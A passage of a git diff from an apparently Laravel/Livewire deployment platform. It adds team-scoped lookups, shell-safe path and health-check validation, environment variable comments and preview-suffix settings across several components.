'publish_directory' => 'nullable|string', 'build_pack' => 'required|string', 'base_directory' => 'nullable|string', - 'docker_compose_location' => ['nullable', 'string', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/]+$/'], + 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), 'git_branch' => ['required', 'string', new ValidGitBranch], ]; } diff --git a/app/Livewire/Project/Resource/Index.php b/app/Livewire/Project/Resource/Index.php index be6e3e98f..094b61b28 100644 --- a/app/Livewire/Project/Resource/Index.php +++ b/app/Livewire/Project/Resource/Index.php @@ -13,33 +13,33 @@ class Index extends Component public Environment $environment; - public Collection $applications; - - public Collection $postgresqls; - - public Collection $redis; - - public Collection $mongodbs; - - public Collection $mysqls; - - public Collection $mariadbs; - - public Collection $keydbs; - - public Collection $dragonflies; - - public Collection $clickhouses; - - public Collection $services; - public Collection $allProjects; public Collection $allEnvironments; public array $parameters; - public function mount() + protected Collection $applications; + + protected Collection $postgresqls; + + protected Collection $redis; + + protected Collection $mongodbs; + + protected Collection $mysqls; + + protected Collection $mariadbs; + + protected Collection $keydbs; + + protected Collection $dragonflies; + + protected Collection $clickhouses; + + protected Collection $services; + + public function mount(): void { $this->applications = $this->postgresqls = $this->redis = $this->mongodbs = $this->mysqls = $this->mariadbs = $this->keydbs = $this->dragonflies = $this->clickhouses = $this->services = collect(); $this->parameters = get_route_parameters(); @@ -55,31 +55,23 @@ public function mount() $this->project = $project; - // Load projects and environments for breadcrumb navigation (avoids inline queries in view) + // Load projects and environments for breadcrumb navigation $this->allProjects = Project::ownedByCurrentTeamCached(); $this->allEnvironments = $project->environments() + ->select('id', 'uuid', 'name', 'project_id') ->with([ - 'applications.additional_servers', - 'applications.destination.server', - 'services', - 'services.destination.server', - 'postgresqls', - 'postgresqls.destination.server', - 'redis', - 'redis.destination.server', - 'mongodbs', - 'mongodbs.destination.server', - 'mysqls', - 'mysqls.destination.server', - 'mariadbs', - 'mariadbs.destination.server', - 'keydbs', - 'keydbs.destination.server', - 'dragonflies', - 'dragonflies.destination.server', - 'clickhouses', - 'clickhouses.destination.server', - ])->get(); + 'applications:id,uuid,name,environment_id', + 'services:id,uuid,name,environment_id', + 'postgresqls:id,uuid,name,environment_id', + 'redis:id,uuid,name,environment_id', + 'mongodbs:id,uuid,name,environment_id', + 'mysqls:id,uuid,name,environment_id', + 'mariadbs:id,uuid,name,environment_id', + 'keydbs:id,uuid,name,environment_id', + 'dragonflies:id,uuid,name,environment_id', + 'clickhouses:id,uuid,name,environment_id', + ]) + ->get(); $this->environment = $environment->loadCount([ 'applications', @@ -94,11 +86,9 @@ public function mount() 'services', ]); - // Eager load all relationships for applications including nested ones + // Eager load relationships for applications $this->applications = $this->environment->applications()->with([ 'tags', - 'additional_servers.settings', - 'additional_networks', 'destination.server.settings', 'settings', ])->get()->sortBy('name'); @@ -160,6 +150,49 @@ public function mount() public function render() { - return view('livewire.project.resource.index'); + return view('livewire.project.resource.index', [ + 'applications' => $this->applications, + 'postgresqls' => $this->postgresqls, + 'redis' => $this->redis, + 'mongodbs' => $this->mongodbs, + 'mysqls' => $this->mysqls, + 'mariadbs' => $this->mariadbs, + 'keydbs' => $this->keydbs, + 'dragonflies' => $this->dragonflies, + 'clickhouses' => $this->clickhouses, + 'services' => $this->services, + 'applicationsJs' => $this->toSearchableArray($this->applications), + 'postgresqlsJs' => $this->toSearchableArray($this->postgresqls), + 'redisJs' => $this->toSearchableArray($this->redis), + 'mongodbsJs' => $this->toSearchableArray($this->mongodbs), + 'mysqlsJs' => $this->toSearchableArray($this->mysqls), + 'mariadbsJs' => $this->toSearchableArray($this->mariadbs), + 'keydbsJs' => $this->toSearchableArray($this->keydbs), + 'dragonfliesJs' => $this->toSearchableArray($this->dragonflies), + 'clickhousesJs' => $this->toSearchableArray($this->clickhouses), + 'servicesJs' => $this->toSearchableArray($this->services), + ]); + } + + private function toSearchableArray(Collection $items): array + { + return $items->map(fn ($item) => [ + 'uuid' => $item->uuid, + 'name' => $item->name, + 'fqdn' => $item->fqdn ?? null, + 'description' => $item->description ?? null, + 'status' => $item->status ?? '', + 'server_status' => $item->server_status ?? null, + 'hrefLink' => $item->hrefLink ?? '', + 'destination' => [ + 'server' => [ + 'name' => $item->destination?->server?->name ?? 'Unknown', + ], + ], + 'tags' => $item->tags->map(fn ($tag) => [ + 'id' => $tag->id, + 'name' => $tag->name, + ])->values()->toArray(), + ])->values()->toArray(); } } diff --git a/app/Livewire/Project/Service/FileStorage.php b/app/Livewire/Project/Service/FileStorage.php index 079115bb6..844e37854 100644 --- a/app/Livewire/Project/Service/FileStorage.php +++ b/app/Livewire/Project/Service/FileStorage.php @@ -40,12 +40,16 @@ class FileStorage extends Component #[Validate(['required', 'boolean'])] public bool $isBasedOnGit = false; + #[Validate(['required', 'boolean'])] + public bool $isPreviewSuffixEnabled = true; + protected $rules = [ 'fileStorage.is_directory' => 'required', 'fileStorage.fs_path' => 'required', 'fileStorage.mount_path' => 'required', 'content' => 'nullable', 'isBasedOnGit' => 'required|boolean', + 'isPreviewSuffixEnabled' => 'required|boolean', ]; public function mount() @@ -71,12 +75,14 @@ public function syncData(bool $toModel = false): void // Sync to model $this->fileStorage->content = $this->content; $this->fileStorage->is_based_on_git = $this->isBasedOnGit; + $this->fileStorage->is_preview_suffix_enabled = $this->isPreviewSuffixEnabled; $this->fileStorage->save(); } else { // Sync from model $this->content = $this->fileStorage->content; $this->isBasedOnGit = $this->fileStorage->is_based_on_git; + $this->isPreviewSuffixEnabled = $this->fileStorage->is_preview_suffix_enabled ?? true; } } @@ -134,12 +140,12 @@ public function convertToFile() } } - public function delete($password) + public function delete($password, $selectedActions = []) { $this->authorize('update', $this->resource); if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } try { @@ -158,6 +164,8 @@ public function delete($password) } finally { $this->dispatch('refreshStorages'); } + + return true; } public function submit() @@ -173,6 +181,7 @@ public function submit() // Sync component properties to model $this->fileStorage->content = $this->content; $this->fileStorage->is_based_on_git = $this->isBasedOnGit; + $this->fileStorage->is_preview_suffix_enabled = $this->isPreviewSuffixEnabled; $this->fileStorage->save(); $this->fileStorage->saveStorageOnServer(); $this->dispatch('success', 'File updated.'); @@ -185,9 +194,11 @@ public function submit() } } - public function instantSave() + public function instantSave(): void { - $this->submit(); + $this->authorize('update', $this->resource); + $this->syncData(true); + $this->dispatch('success', 'File updated.'); } public function render() diff --git a/app/Livewire/Project/Service/Index.php b/app/Livewire/Project/Service/Index.php index 360282911..c77a3a516 100644 --- a/app/Livewire/Project/Service/Index.php +++ b/app/Livewire/Project/Service/Index.php @@ -53,6 +53,8 @@ class Index extends Component public ?int $publicPort = null; + public ?int $publicPortTimeout = 3600; + public bool $isPublic = false; public bool $isLogDrainEnabled = false; @@ -90,6 +92,7 @@ class Index extends Component 'image' => 'required', 'excludeFromStatus' => 'required|boolean', 'publicPort' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer|min:1', 'isPublic' => 'required|boolean', 'isLogDrainEnabled' => 'required|boolean', // Application-specific rules @@ -158,6 +161,7 @@ private function syncDatabaseData(bool $toModel = false): void $this->serviceDatabase->image = $this->image; $this->serviceDatabase->exclude_from_status = $this->excludeFromStatus; $this->serviceDatabase->public_port = $this->publicPort; + $this->serviceDatabase->public_port_timeout = $this->publicPortTimeout; $this->serviceDatabase->is_public = $this->isPublic; $this->serviceDatabase->is_log_drain_enabled = $this->isLogDrainEnabled; } else { @@ -166,6 +170,7 @@ private function syncDatabaseData(bool $toModel = false): void $this->image = $this->serviceDatabase->image; $this->excludeFromStatus = $this->serviceDatabase->exclude_from_status ?? false; $this->publicPort = $this->serviceDatabase->public_port; + $this->publicPortTimeout = $this->serviceDatabase->public_port_timeout; $this->isPublic = $this->serviceDatabase->is_public ?? false; $this->isLogDrainEnabled = $this->serviceDatabase->is_log_drain_enabled ?? false; } @@ -189,13 +194,13 @@ public function refreshFileStorages() } } - public function deleteDatabase($password) + public function deleteDatabase($password, $selectedActions = []) { try { $this->authorize('delete', $this->serviceDatabase); if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } $this->serviceDatabase->delete(); @@ -393,13 +398,13 @@ public function instantSaveApplicationAdvanced() } } - public function deleteApplication($password) + public function deleteApplication($password, $selectedActions = []) { try { $this->authorize('delete', $this->serviceApplication); if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } $this->serviceApplication->delete(); diff --git a/app/Livewire/Project/Service/Storage.php b/app/Livewire/Project/Service/Storage.php index 12d8bcbc3..433c2b13c 100644 --- a/app/Livewire/Project/Service/Storage.php +++ b/app/Livewire/Project/Service/Storage.php @@ -2,7 +2,10 @@ namespace App\Livewire\Project\Service; +use App\Models\Application; +use App\Models\LocalFileVolume; use App\Models\LocalPersistentVolume; +use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; @@ -49,7 +52,7 @@ public function mount() $this->file_storage_directory_source = application_configuration_dir()."/{$this->resource->uuid}"; } - if ($this->resource->getMorphClass() === \App\Models\Application::class) { + if ($this->resource->getMorphClass() === Application::class) { if ($this->resource->destination->server->isSwarm()) { $this->isSwarm = true; } @@ -101,10 +104,10 @@ public function submitPersistentVolume() $this->authorize('update', $this->resource); $this->validate([ - 'name' => 'required|string', + 'name' => ValidationPatterns::volumeNameRules(), 'mount_path' => 'required|string', 'host_path' => $this->isSwarm ? 'required|string' : 'string|nullable', - ]); + ], ValidationPatterns::volumeNameMessages()); $name = $this->resource->uuid.'-'.$this->name; @@ -138,7 +141,10 @@ public function submitFileStorage() $this->file_storage_path = trim($this->file_storage_path); $this->file_storage_path = str($this->file_storage_path)->start('/')->value(); - if ($this->resource->getMorphClass() === \App\Models\Application::class) { + // Validate path to prevent command injection + validateShellSafePath($this->file_storage_path, 'file storage path'); + + if ($this->resource->getMorphClass() === Application::class) { $fs_path = application_configuration_dir().'/'.$this->resource->uuid.$this->file_storage_path; } elseif (str($this->resource->getMorphClass())->contains('Standalone')) { $fs_path = database_configuration_dir().'/'.$this->resource->uuid.$this->file_storage_path; @@ -146,7 +152,7 @@ public function submitFileStorage() throw new \Exception('No valid resource type for file mount storage type!'); } - \App\Models\LocalFileVolume::create([ + LocalFileVolume::create([ 'fs_path' => $fs_path, 'mount_path' => $this->file_storage_path, 'content' => $this->file_storage_content, @@ -183,7 +189,7 @@ public function submitFileStorageDirectory() validateShellSafePath($this->file_storage_directory_source, 'storage source path'); validateShellSafePath($this->file_storage_directory_destination, 'storage destination path'); - \App\Models\LocalFileVolume::create([ + LocalFileVolume::create([ 'fs_path' => $this->file_storage_directory_source, 'mount_path' => $this->file_storage_directory_destination, 'is_directory' => true, diff --git a/app/Livewire/Project/Shared/Danger.php b/app/Livewire/Project/Shared/Danger.php index 1b15c6367..caaabc494 100644 --- a/app/Livewire/Project/Shared/Danger.php +++ b/app/Livewire/Project/Shared/Danger.php @@ -45,10 +45,10 @@ public function mount() if ($this->resource === null) { if (isset($parameters['service_uuid'])) { - $this->resource = Service::where('uuid', $parameters['service_uuid'])->first(); + $this->resource = Service::ownedByCurrentTeam()->where('uuid', $parameters['service_uuid'])->first(); } elseif (isset($parameters['stack_service_uuid'])) { - $this->resource = ServiceApplication::where('uuid', $parameters['stack_service_uuid'])->first() - ?? ServiceDatabase::where('uuid', $parameters['stack_service_uuid'])->first(); + $this->resource = ServiceApplication::ownedByCurrentTeam()->where('uuid', $parameters['stack_service_uuid'])->first() + ?? ServiceDatabase::ownedByCurrentTeam()->where('uuid', $parameters['stack_service_uuid'])->first(); } } @@ -88,16 +88,21 @@ public function mount() } } - public function delete($password) + public function delete($password, $selectedActions = []) { if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } if (! $this->resource) { - $this->addError('resource', 'Resource not found.'); + return 'Resource not found.'; + } - return; + if (! empty($selectedActions)) { + $this->delete_volumes = in_array('delete_volumes', $selectedActions); + $this->delete_connected_networks = in_array('delete_connected_networks', $selectedActions); + $this->delete_configurations = in_array('delete_configurations', $selectedActions); + $this->docker_cleanup = in_array('docker_cleanup', $selectedActions); } try { diff --git a/app/Livewire/Project/Shared/Destination.php b/app/Livewire/Project/Shared/Destination.php index 7ab81b7d1..363471760 100644 --- a/app/Livewire/Project/Shared/Destination.php +++ b/app/Livewire/Project/Shared/Destination.php @@ -134,11 +134,11 @@ public function addServer(int $network_id, int $server_id) $this->dispatch('refresh'); } - public function removeServer(int $network_id, int $server_id, $password) + public function removeServer(int $network_id, int $server_id, $password, $selectedActions = []) { try { if (! verifyPasswordConfirmation($password, $this)) { - return; + return 'The provided password is incorrect.'; } if ($this->resource->destination->server->id == $server_id && $this->resource->destination->id == $network_id) { @@ -152,6 +152,8 @@ public function removeServer(int $network_id, int $server_id, $password) $this->loadData(); $this->dispatch('refresh'); ApplicationStatusChanged::dispatch(data_get($this->resource, 'environment.project.team.id')); + + return true; } catch (\Exception $e) { return handleError($e, $this); } diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/Add.php b/app/Livewire/Project/Shared/EnvironmentVariable/Add.php index fa65e8bd2..73d5393b0 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/Add.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/Add.php @@ -31,6 +31,8 @@ class Add extends Component public bool $is_buildtime = true; + public ?string $comment = null; + public array $problematicVariables = []; protected $listeners = ['clearAddEnv' => 'clear']; @@ -42,6 +44,7 @@ class Add extends Component 'is_literal' => 'required|boolean', 'is_runtime' => 'required|boolean', 'is_buildtime' => 'required|boolean', + 'comment' => 'nullable|string|max:256', ]; protected $validationAttributes = [ @@ -51,6 +54,7 @@ class Add extends Component 'is_literal' => 'literal', 'is_runtime' => 'runtime', 'is_buildtime' => 'buildtime', + 'comment' => 'comment', ]; public function mount() @@ -136,6 +140,7 @@ public function submit() 'is_runtime' => $this->is_runtime, 'is_buildtime' => $this->is_buildtime, 'is_preview' => $this->is_preview, + 'comment' => $this->comment, ]); $this->clear(); } @@ -148,5 +153,6 @@ public function clear() $this->is_literal = false; $this->is_runtime = true; $this->is_buildtime = true; + $this->comment = null; } } diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/All.php b/app/Livewire/Project/Shared/EnvironmentVariable/All.php index 55e388b78..f250a860b 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/All.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/All.php @@ -89,6 +89,62 @@ public function getEnvironmentVariablesPreviewProperty() return $query->get(); } + public function getHardcodedEnvironmentVariablesProperty() + { + return $this->getHardcodedVariables(false); + } + + public function getHardcodedEnvironmentVariablesPreviewProperty() + { + return $this->getHardcodedVariables(true); + } + + protected function getHardcodedVariables(bool $isPreview) + { + // Only for services and docker-compose applications + if ($this->resource->type() !== 'service' && + ($this->resourceClass !== 'App\Models\Application' || + ($this->resourceClass === 'App\Models\Application' && $this->resource->build_pack !== 'dockercompose'))) { + return collect([]); + } + + $dockerComposeRaw = $this->resource->docker_compose_raw ?? $this->resource->docker_compose; + + if (blank($dockerComposeRaw)) { + return collect([]); + } + + // Extract all hard-coded variables + $hardcodedVars = extractHardcodedEnvironmentVariables($dockerComposeRaw); + + // Filter out magic variables (SERVICE_FQDN_*, SERVICE_URL_*, SERVICE_NAME_*) + $hardcodedVars = $hardcodedVars->filter(function ($var) { + $key = $var['key']; + + return ! str($key)->startsWith(['SERVICE_FQDN_', 'SERVICE_URL_', 'SERVICE_NAME_']); + }); + + // Filter out variables that exist in database (user has overridden/managed them) + // For preview, check against preview variables; for production, check against production variables + if ($isPreview) { + $managedKeys = $this->resource->environment_variables_preview()->pluck('key')->toArray(); + } else { + $managedKeys = $this->resource->environment_variables()->where('is_preview', false)->pluck('key')->toArray(); + } + + $hardcodedVars = $hardcodedVars->filter(function ($var) use ($managedKeys) { + return ! in_array($var['key'], $managedKeys); + }); + + // Apply sorting based on is_env_sorting_enabled + if ($this->is_env_sorting_enabled) { + $hardcodedVars = $hardcodedVars->sortBy('key')->values(); + } + // Otherwise keep order from docker-compose file + + return $hardcodedVars; + } + public function getDevView() { $this->variables = $this->formatEnvironmentVariables($this->environmentVariables); @@ -240,6 +296,7 @@ private function createEnvironmentVariable($data) $environment->is_runtime = $data['is_runtime'] ?? true; $environment->is_buildtime = $data['is_buildtime'] ?? true; $environment->is_preview = $data['is_preview'] ?? false; + $environment->comment = $data['comment'] ?? null; $environment->resourceable_id = $this->resource->id; $environment->resourceable_type = $this->resource->getMorphClass(); @@ -280,18 +337,37 @@ private function deleteRemovedVariables($isPreview, $variables) private function updateOrCreateVariables($isPreview, $variables) { $count = 0; - foreach ($variables as $key => $value) { + foreach ($variables as $key => $data) { if (str($key)->startsWith('SERVICE_FQDN') || str($key)->startsWith('SERVICE_URL') || str($key)->startsWith('SERVICE_NAME')) { continue; } + + // Extract value and comment from parsed data + // Handle both array format ['value' => ..., 'comment' => ...] and plain string values + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $comment = is_array($data) ? ($data['comment'] ?? null) : null; + $method = $isPreview ? 'environment_variables_preview' : 'environment_variables'; $found = $this->resource->$method()->where('key', $key)->first(); if ($found) { if (! $found->is_shown_once && ! $found->is_multiline) { - // Only count as a change if the value actually changed + $changed = false; + + // Update value if it changed if ($found->value !== $value) { $found->value = $value; + $changed = true; + } + + // Only update comment from inline comment if one is provided (overwrites existing) + // If $comment is null, don't touch existing comment field to preserve it + if ($comment !== null && $found->comment !== $comment) { + $found->comment = $comment; + $changed = true; + } + + if ($changed) { $found->save(); $count++; } @@ -300,6 +376,7 @@ private function updateOrCreateVariables($isPreview, $variables) $environment = new EnvironmentVariable; $environment->key = $key; $environment->value = $value; + $environment->comment = $comment; // Set comment from inline comment $environment->is_multiline = false; $environment->is_preview = $isPreview; $environment->resourceable_id = $this->resource->id; diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php index 2030f631e..c567d96aa 100644 --- a/app/Livewire/Project/Shared/EnvironmentVariable/Show.php +++ b/app/Livewire/Project/Shared/EnvironmentVariable/Show.php @@ -24,6 +24,8 @@ class Show extends Component public bool $isLocked = false; + public bool $isMagicVariable = false; + public bool $isSharedVariable = false; public string $type; @@ -34,6 +36,8 @@ class Show extends Component public ?string $real_value = null; + public ?string $comment = null; + public bool $is_shared = false; public bool $is_multiline = false; @@ -63,6 +67,7 @@ class Show extends Component protected $rules = [ 'key' => 'required|string', 'value' => 'nullable', + 'comment' => 'nullable|string|max:256', 'is_multiline' => 'required|boolean', 'is_literal' => 'required|boolean', 'is_shown_once' => 'required|boolean', @@ -93,6 +98,9 @@ public function getResourceProperty() public function refresh() { + if (! $this->env->exists || ! $this->env->fresh()) { + return; + } $this->syncData(); $this->checkEnvs(); } @@ -104,6 +112,7 @@ public function syncData(bool $toModel = false) $this->validate([ 'key' => 'required|string', 'value' => 'nullable', + 'comment' => 'nullable|string|max:256', 'is_multiline' => 'required|boolean', 'is_literal' => 'required|boolean', 'is_shown_once' => 'required|boolean', @@ -118,6 +127,7 @@ public function syncData(bool $toModel = false) } $this->env->key = $this->key; $this->env->value = $this->value; + $this->env->comment = $this->comment; $this->env->is_multiline = $this->is_multiline; $this->env->is_literal = $this->is_literal; $this->env->is_shown_once = $this->is_shown_once; @@ -125,6 +135,7 @@ public function syncData(bool $toModel = false) } else { $this->key = $this->env->key; $this->value = $this->env->value; + $this->comment = $this->env->comment; $this->is_multiline = $this->env->is_multiline; $this->is_literal = $this->env->is_literal; $this->is_shown_once = $this->env->is_shown_once; @@ -140,9 +151,13 @@ public function syncData(bool $toModel = false) public function checkEnvs() { $this->isDisabled = false; + $this->isMagicVariable = false; + if (str($this->env->key)->startsWith('SERVICE_FQDN') || str($this->env->key)->startsWith('SERVICE_URL') || str($this->env->key)->startsWith('SERVICE_NAME')) { $this->isDisabled = true; + $this->isMagicVariable = true; } + if ($this->env->is_shown_once) { $this->isLocked = true; } diff --git a/app/Livewire/Project/Shared/EnvironmentVariable/ShowHardcoded.php b/app/Livewire/Project/Shared/EnvironmentVariable/ShowHardcoded.php new file mode 100644 index 000000000..3a49ce124 --- /dev/null +++ b/app/Livewire/Project/Shared/EnvironmentVariable/ShowHardcoded.php @@ -0,0 +1,31 @@ +key = $this->env['key']; + $this->value = $this->env['value'] ?? null; + $this->comment = $this->env['comment'] ?? null; + $this->serviceName = $this->env['service_name'] ?? null; + } + + public function render() + { + return view('livewire.project.shared.environment-variable.show-hardcoded'); + } +} diff --git a/app/Livewire/Project/Shared/ExecuteContainerCommand.php b/app/Livewire/Project/Shared/ExecuteContainerCommand.php index 02062e1f7..4ea5e12db 100644 --- a/app/Livewire/Project/Shared/ExecuteContainerCommand.php +++ b/app/Livewire/Project/Shared/ExecuteContainerCommand.php @@ -5,6 +5,7 @@ use App\Models\Application; use App\Models\Server; use App\Models\Service; +use App\Support\ValidationPatterns; use Illuminate\Support\Collection; use Livewire\Attributes\On; use Livewire\Component; @@ -38,7 +39,7 @@ public function mount() $this->servers = collect(); if (data_get($this->parameters, 'application_uuid')) { $this->type = 'application'; - $this->resource = Application::where('uuid', $this->parameters['application_uuid'])->firstOrFail(); + $this->resource = Application::ownedByCurrentTeam()->where('uuid', $this->parameters['application_uuid'])->firstOrFail(); if ($this->resource->destination->server->isFunctional()) { $this->servers = $this->servers->push($this->resource->destination->server); } @@ -61,14 +62,14 @@ public function mount() $this->loadContainers(); } elseif (data_get($this->parameters, 'service_uuid')) { $this->type = 'service'; - $this->resource = Service::where('uuid', $this->parameters['service_uuid'])->firstOrFail(); + $this->resource = Service::ownedByCurrentTeam()->where('uuid', $this->parameters['service_uuid'])->firstOrFail(); if ($this->resource->server->isFunctional()) { $this->servers = $this->servers->push($this->resource->server); } $this->loadContainers(); } elseif (data_get($this->parameters, 'server_uuid')) { $this->type = 'server'; - $this->resource = Server::where('uuid', $this->parameters['server_uuid'])->firstOrFail(); + $this->resource = Server::ownedByCurrentTeam()->where('uuid', $this->parameters['server_uuid'])->firstOrFail(); $this->servers = $this->servers->push($this->resource); } $this->servers = $this->servers->sortByDesc(fn ($server) => $server->isTerminalEnabled()); @@ -181,7 +182,7 @@ public function connectToContainer() } try { // Validate container name format - if (! preg_match('/^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/', $this->selected_container)) { + if (! ValidationPatterns::isValidContainerName($this->selected_container)) { throw new \InvalidArgumentException('Invalid container name format'); } diff --git a/app/Livewire/Project/Shared/HealthChecks.php b/app/Livewire/Project/Shared/HealthChecks.php index 05f786690..0d5d71b45 100644 --- a/app/Livewire/Project/Shared/HealthChecks.php +++ b/app/Livewire/Project/Shared/HealthChecks.php @@ -16,19 +16,25 @@ class HealthChecks extends Component #[Validate(['boolean'])] public bool $healthCheckEnabled = false; - #[Validate(['string'])] + #[Validate(['string', 'in:http,cmd'])] + public string $healthCheckType = 'http'; + + #[Validate(['nullable', 'required_if:healthCheckType,cmd', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'])] + public ?string $healthCheckCommand = null; + + #[Validate(['required', 'string', 'in:GET,HEAD,POST,OPTIONS'])] public string $healthCheckMethod; - #[Validate(['string'])] + #[Validate(['required', 'string', 'in:http,https'])] public string $healthCheckScheme; - #[Validate(['string'])] + #[Validate(['required', 'string', 'regex:/^[a-zA-Z0-9.\-_]+$/'])] public string $healthCheckHost; - #[Validate(['nullable', 'string'])] + #[Validate(['nullable', 'integer', 'min:1', 'max:65535'])] public ?string $healthCheckPort = null; - #[Validate(['string'])] + #[Validate(['required', 'string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'])] public string $healthCheckPath; #[Validate(['integer'])] @@ -54,12 +60,14 @@ class HealthChecks extends Component protected $rules = [ 'healthCheckEnabled' => 'boolean', - 'healthCheckPath' => 'string', - 'healthCheckPort' => 'nullable|string', - 'healthCheckHost' => 'string', - 'healthCheckMethod' => 'string', + 'healthCheckType' => 'string|in:http,cmd', + 'healthCheckCommand' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'], + 'healthCheckPath' => ['required', 'string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'], + 'healthCheckPort' => 'nullable|integer|min:1|max:65535', + 'healthCheckHost' => ['required', 'string', 'regex:/^[a-zA-Z0-9.\-_]+$/'], + 'healthCheckMethod' => 'required|string|in:GET,HEAD,POST,OPTIONS', 'healthCheckReturnCode' => 'integer', - 'healthCheckScheme' => 'string', + 'healthCheckScheme' => 'required|string|in:http,https', 'healthCheckResponseText' => 'nullable|string', 'healthCheckInterval' => 'integer|min:1', 'healthCheckTimeout' => 'integer|min:1', @@ -81,6 +89,8 @@ public function syncData(bool $toModel = false): void // Sync to model $this->resource->health_check_enabled = $this->healthCheckEnabled; + $this->resource->health_check_type = $this->healthCheckType; + $this->resource->health_check_command = $this->healthCheckCommand; $this->resource->health_check_method = $this->healthCheckMethod; $this->resource->health_check_scheme = $this->healthCheckScheme; $this->resource->health_check_host = $this->healthCheckHost; @@ -98,6 +108,8 @@ public function syncData(bool $toModel = false): void } else { // Sync from model $this->healthCheckEnabled = $this->resource->health_check_enabled; + $this->healthCheckType = $this->resource->health_check_type ?? 'http'; + $this->healthCheckCommand = $this->resource->health_check_command; $this->healthCheckMethod = $this->resource->health_check_method; $this->healthCheckScheme = $this->resource->health_check_scheme; $this->healthCheckHost = $this->resource->health_check_host; @@ -116,9 +128,12 @@ public function syncData(bool $toModel = false): void public function instantSave() { $this->authorize('update', $this->resource); + $this->validate(); // Sync component properties to model $this->resource->health_check_enabled = $this->healthCheckEnabled; + $this->resource->health_check_type = $this->healthCheckType; + $this->resource->health_check_command = $this->healthCheckCommand; $this->resource->health_check_method = $this->healthCheckMethod; $this->resource->health_check_scheme = $this->healthCheckScheme; $this->resource->health_check_host = $this->healthCheckHost; @@ -143,6 +158,8 @@ public function submit() // Sync component properties to model $this->resource->health_check_enabled = $this->healthCheckEnabled; + $this->resource->health_check_type = $this->healthCheckType; + $this->resource->health_check_command = $this->healthCheckCommand; $this->resource->health_check_method = $this->healthCheckMethod; $this->resource->health_check_scheme = $this->healthCheckScheme; $this->resource->health_check_host = $this->healthCheckHost; @@ -171,6 +188,8 @@ public function toggleHealthcheck() // Sync component properties to model $this->resource->health_check_enabled = $this->healthCheckEnabled; + $this->resource->health_check_type = $this->healthCheckType; + $this->resource->health_check_command = $this->healthCheckCommand; $this->resource->health_check_method = $this->healthCheckMethod; $this->resource->health_check_scheme = $this->healthCheckScheme; $this->resource->health_check_host = $this->healthCheckHost; diff --git a/app/Livewire/Project/Shared/Logs.php b/app/Livewire/Project/Shared/Logs.php index 6c4aadd39..a95259c71 100644 --- a/app/Livewire/Project/Shared/Logs.php +++ b/app/Livewire/Project/Shared/Logs.php @@ -106,7 +106,7 @@ public function mount() $this->query = request()->query(); if (data_get($this->parameters, 'application_uuid')) { $this->type = 'application'; - $this->resource = Application::where('uuid', $this->parameters['application_uuid'])->firstOrFail(); + $this->resource = Application::ownedByCurrentTeam()->where('uuid', $this->parameters['application_uuid'])->firstOrFail(); $this->status = $this->resource->status; if ($this->resource->destination->server->isFunctional()) { $server = $this->resource->destination->server; @@ -133,7 +133,7 @@ public function mount() $this->containers->push($this->container); } elseif (data_get($this->parameters, 'service_uuid')) { $this->type = 'service'; - $this->resource = Service::where('uuid', $this->parameters['service_uuid'])->firstOrFail(); + $this->resource = Service::ownedByCurrentTeam()->where('uuid', $this->parameters['service_uuid'])->firstOrFail(); $this->resource->applications()->get()->each(function ($application) { $this->containers->push(data_get($application, 'name').'-'.data_get($this->resource, 'uuid')); }); diff --git a/app/Livewire/Project/Shared/ResourceOperations.php b/app/Livewire/Project/Shared/ResourceOperations.php index 4ba961dfd..e769e4bcb 100644 --- a/app/Livewire/Project/Shared/ResourceOperations.php +++ b/app/Livewire/Project/Shared/ResourceOperations.php @@ -49,9 +49,10 @@ public function cloneTo($destination_id) { $this->authorize('update', $this->resource); - $new_destination = StandaloneDocker::find($destination_id); + $teamScope = fn ($q) => $q->where('team_id', currentTeam()->id); + $new_destination = StandaloneDocker::whereHas('server', $teamScope)->find($destination_id); if (! $new_destination) { - $new_destination = SwarmDocker::find($destination_id); + $new_destination = SwarmDocker::whereHas('server', $teamScope)->find($destination_id); } if (! $new_destination) { return $this->addError('destination_id', 'Destination not found.'); @@ -352,7 +353,7 @@ public function moveTo($environment_id) { try { $this->authorize('update', $this->resource); - $new_environment = Environment::findOrFail($environment_id); + $new_environment = Environment::ownedByCurrentTeam()->findOrFail($environment_id); $this->resource->update([ 'environment_id' => $environment_id, ]); diff --git a/app/Livewire/Project/Shared/ScheduledTask/Show.php b/app/Livewire/Project/Shared/ScheduledTask/Show.php index b1b34dd71..02c13a66c 100644 --- a/app/Livewire/Project/Shared/ScheduledTask/Show.php +++ b/app/Livewire/Project/Shared/ScheduledTask/Show.php @@ -52,15 +52,6 @@ class Show extends Component #[Locked] public string $task_uuid; - public function getListeners() - { - $teamId = auth()->user()->currentTeam()->id; - - return [ - "echo-private:team.{$teamId},ServiceChecked" => '$refresh', - ]; - } - public function mount(string $task_uuid, string $project_uuid, string $environment_uuid, ?string $application_uuid = null, ?string $service_uuid = null) { try { diff --git a/app/Livewire/Project/Shared/Storages/Show.php b/app/Livewire/Project/Shared/Storages/Show.php index 2091eca14..eee5a0776 100644 --- a/app/Livewire/Project/Shared/Storages/Show.php +++ b/app/Livewire/Project/Shared/Storages/Show.php @@ -29,10 +29,13 @@ class Show extends Component public ?string $hostPath = null; + public bool $isPreviewSuffixEnabled = true; + protected $rules = [ 'name' => 